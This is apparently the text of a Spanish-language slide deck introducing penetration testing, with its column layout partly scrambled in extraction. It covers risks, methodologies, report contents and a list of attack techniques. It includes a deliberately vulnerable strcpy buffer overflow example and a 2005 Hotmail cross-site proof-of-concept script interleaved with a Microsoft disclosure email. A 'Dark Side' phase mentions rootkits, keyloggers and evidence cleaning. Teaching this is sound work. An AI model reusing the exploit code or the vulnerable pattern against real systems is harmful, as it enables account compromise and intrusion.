2. 1. 20 Min: Que es un Pentest?
2. 40 Min: Be a Lulzsec guy for a while!!!!
3. 60 Min: Better than anonymous!!!.
4. 20 Min: Preguntas y respuestas.
3. 1. RIESGOS DE LA SEGURIDAD CORPORATIVA
2. PRUEBAS DE PENETRACION
3. TIPOS DE PRUEBAS
4. ESTRUCTURA DE UN PENTEST
5. TECNICAS BASICAS DE HACKEO
6. HACKING !!!!!
7. CONCLUSIONES
4. PROBLEMAS
• En la experiencia general el 98% de las empresas son muy vulnerables a ataques simples, el 2 %
restante son vulnerables a ataques especializados.
• El mismo numero 98% desconoce la forma de pensar y las técnicas usadas por los atacantes.
• En la actualidad el hacking ha crecido mas como una actividad delictiva y enfocada a ciertos
blancos.
• El hacker tiene todo el tiempo que desee para buscar la forma de atacar y solo tiene que
encontrar 1 error, el CSO tiene muchas responsabilidades y verificar cada paso y proceso
tecnológico y solo tiene que cometer 1 error.
RIESGOS
• Reputación, perdida de confianza e imagen.
• Perdida o modificación de datos.
• Incumplimiento de regulaciones (SOX, CNBV, LFPDPPP, etc.)
• Robo de identidad o datos sensibles (Datos Identificables, Crediticios, Patrimoniales, etc.)
• Espionaje industrial.
• Muchos Otros…
5. OBJETIVOS
• En las prueba de penetración se actúa como atacante malicioso, tomándose el tiempo necesario
de buscar todas las vulnerabilidades posibles, para preparar y evaluar la empresa para resistir
ataques comunes y dirigidos.
FINALIDAD
• Lograr el acceso con el máximo privilegio posible a través de conocimientos técnicos avanzados
con un equipo multidisciplinario (Tiger Teaming), a datos privados y sensibles, apoyando con
soluciones para permitir minimizar el riesgo y determinar las posibilidades reales de un ataque.
REQUERIMIENTOS PARA EL CONSULTOR
• Conocimiento de redes.
• Conocimiento de sistemas operativos.
• Conocimiento de desarrollo.
• Conocimiento de ingeniería en reversa.
• Conocimiento de herramientas.
• Conocimiento de °!#$#&&/&()&))==?((#234
6. GENERAL (EXTERNA O INTERNA)
• WHITE BOX
• Con el conocimiento de la infraestructura.
• Tiene menos riesgos pues se sabe que sistemas atacar y por donde.
• GREY BOX
• Conocimiento parcial de la infraestructura.
• Tienes riesgos bajos ya que abra que hacer intentos de prueba y error.
• BLACK BOX
• Sin conocimiento alguno de la infraestructura.
• Implica un riesgo alto, ya que no solo alentar las comunicaciones por el trafico a generarse al hacer
trabajo intenso de búsquedas, si no que también corre riesgos al poder detener la producción completa
de una empresa con ataques no esperados.
ESPECIALIZADA
• Web Application Penetration Test.
• Application Vulnerability Assessment.
• Source Code Security Analysis.
• Wi-Fi Penetration Testing
• Social Engineering.
• Physical Security.
• Industrial Espionage.
• Vulnerability Assessment.
7. Existen diversas metodologías de seguridad a seguir:
• Open Source Security Testing Methodology Manual (OSSTMM)
• Open Web Application Security Project (OWASP)
• National Institute of Standards and Technology-SP800-115 (NIST)
• Information Systems Security Assessment Framework (ISSAF)
Que se hace en un Pentest?
1.- Objetivos 2.- Recopilación 3.- Enumeración
•Establecer metas. •Google, DNS, Footprint. •Port Scanning, Vuln Scan
•Establecer blancos. •Social Engineering. •Services & Applications
•Detectar necesidades •Metadatos (Archivos) •Users & Groups
4.- Explotación 5.- Documentación 6.- Dark Side Hacker
•System Hacking •Executive Summary •Root kits, Key loggers
•Evidence •Technical Details •Evidence Cleaning
•Physical Intrusion •Recommendations •Access Concession
8. Que debe contener un reporte de un Pen Test:
• Introduction
• Testing Team Details (Names, Contacts, Expertise)
• Client Details (Details: network, servers, workstations, AD)
• Scope of Testing
• Purpose & Type (Assessment, New Implementation, Compliance, Security Pen Test)
• Category (White box, Black Box, Grey Box)
• Executive Summary (Brief)
• Security Issues (With Critical level)
• OS
• Exploited & Unexploited
• Application & Web
• Exploited & Unexploited
• Physical (Facilities)
• Exploited & Unexploited
• Personnel (Social Engineering)
• Exploited & Unexploited
• General
• Exploited & Unexploited
• Technical Summary
• OS Security, Web Security, Database Security, Application Security, Business Security , Policies and
Procedures
• Risk & Recommendations
10. • DOS, DDOS Man in The Middle
• Buffer Overflows – ARP Poisoning
– Stack Overflows – SMB Relay
– Heap Overflows – HTTPS y SSH Relay
– Smashing the Stack
– Adjacent Memory Wireless Hacking
– Off by One Parameter Tampering
Information Disclosure
Race Conditions Landscape Discovery
Format Strings – Portscanning
Double Frees – Banner Grabing
Null Sessions – Service Discovery
Spoofing
Sniffing Virus & Cracking
Zapping – Worms
Brute Forcing – Backdoors
Web – Caballos de Troya
– Sql Injections – Debugging
– XXS Cross Scripting Site – Dissasembling
– Session Hijacking – Unpacking
– Cookie hijacking &poisoning
– PHP/ASP File Inclusion
– PHP/ASP Includes Steganografia
– PHP/ASP Null Byte Alternate Data Streams (file systems)
– PHP Global Vars Email Hacking
– Alternate Data Stream – Frame Relay
– Google Hacking – Identity Thief
11. PHP/ASP
Inclusión de Archivos
Archivos de Backup (.BAK .INC ETC)
Inyección de código PHP
Errores de Configuración
Mala Técnica de Programación
SQL Injection
Cross Site Scripting
13. • Definición
– Insertar datos mas grandes que el máximo alocado en memoria, dando esto en el cambio de flujo del programa ya sea
por corrupción del Extended Instruction Pointer (EIP) o funciones corruptas (Heap)
• Porque Existen los BO
– La forma en que la creación de sistemas operativos se enseña provee una optimización de lectura y
escritura en la memoria, por lo cual es espacio se aloca de izquierda a derecha y se escribe en forma
inversa.
– Cada ves que un programa ejecuta una rutina el sistema operativo hace lo siguiente:
• Guardar la dirección de la siguiente instrucción valida en EIP (4 Bytes, 0x77777777)
• Guardar la dirección de las variables dentro de un puntero en EBP (4 Bytes, 0x77777777)
• Alocar espacio para las variables de la función que se esta llamando (Depende del Buffer)
• Una ves terminada la función, se llama al código que punta EIP (Valor guardado)
• Y así sucesivamente…….
– Por lo que si tomamos control de EIP, podemos decir que al terminar la función el programa ejecute
como siguiente código lo que el hacker quiera.
14. #include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buffer[20];
strcpy(buffer, argv[1]);
printf("%sn", buffer);
}
0xC0000005
0x45DF33AD
0x65D537AB
NOTA: Algunos compiladores crean un padding de algunos bytes para evitar el BO.
15. Técnicas Básicas:
Jump Into the Stack (la mas común utilizada en Linux)
Consiste en saltar directamente al payload o shellcode.
Call Jump Stack (La mas común utilizada en Windows)
Consiste en saltar a una dirección estática de memoria que a su ves
apunta a la direccion de nuestro payload o shellcode
0xC0000005
0x41414141
0x41414141
“AAAAAAAAAAAAAAAAAAAAAAAAAA”
Dirección de la escritura en la memoria.
NOTA: Algunos compiladores crean un padding de algunos bytes para evitar el BO.
18. Si no conoces hackers y no sabes como romper y atacar sistemas, como
esperas defenderte de ello?
No es ser un genio, es solo el gusto de aprender.
Ya no hay investigación ni desarrollo, se necesita mas gente interesada
La mayoría de los avances tecnológicos han sido gracias a los hackers.
Los consultores de seguridad están prostituidos, cuantos realmente saben
hacer exploits y son buenos técnicamente y cuantos, solo tienen el titulo o la
certificación por saber usar herramientas ya hechas. (ósea nada nuevo)
SQL Injection = Lulzsec & anonymous
19. De: Microsoft Security Response Center
Fallos XXS Hackeando Hotmail 26 de Abril 2005 [mailto:secure@microsoft.com]
Hotmail Cross Site Message Explore Enviado el: miércoles, 07 de septiembre de 2005 11:17
Para: Luis A. Cortes Zavala
CC: Microsoft Security Response Center
Proof of Concept Asunto: RE: failure notice [MSRC 5937sd]
Hotmail Cross Site Message Explorer by NaPa
Security Nation Labs – México
Thanks for the fast reply Luis,
-----------------------------------------------------------------
<html> OK no problems I will provide you with an update
<head>
</head>
when the team turns on the "a" attribute at the end
<body> of October.
<script>
str1=document.URL;
str2=str1.split("?");
Its something we have difficulty with acknowledging
str3=str2[1]; finders for our online services, as we don't issue a
str4=str3.split("&"); security bulletin for them.
str5="http://by17fd.bay17.hotmail.msn.com/cgibin/
getmsg?msg=&start=&len=&mfs=&cmd=next&lastmsgid=";
str6=str4[2]; I apologize for this, maybe once this is all over you
str7=str6.split("="); can present at any conference and discuss this issue
str8=str7[1];
str9="&msgread=&etype=&wo=";
and how we went from a bad situation to a great
str10=str5+str8+str9+"&"+str4[0]+"&"+str4[1] outcome and you were the researcher the whole
window.open(str10); way along who worked with Microsoft to secure its
</script>
hola napa
online systems? I don't know I am just thinking
</body> aloud...
</html>
---------------------------------------------------------------------
Cheers
Scott D.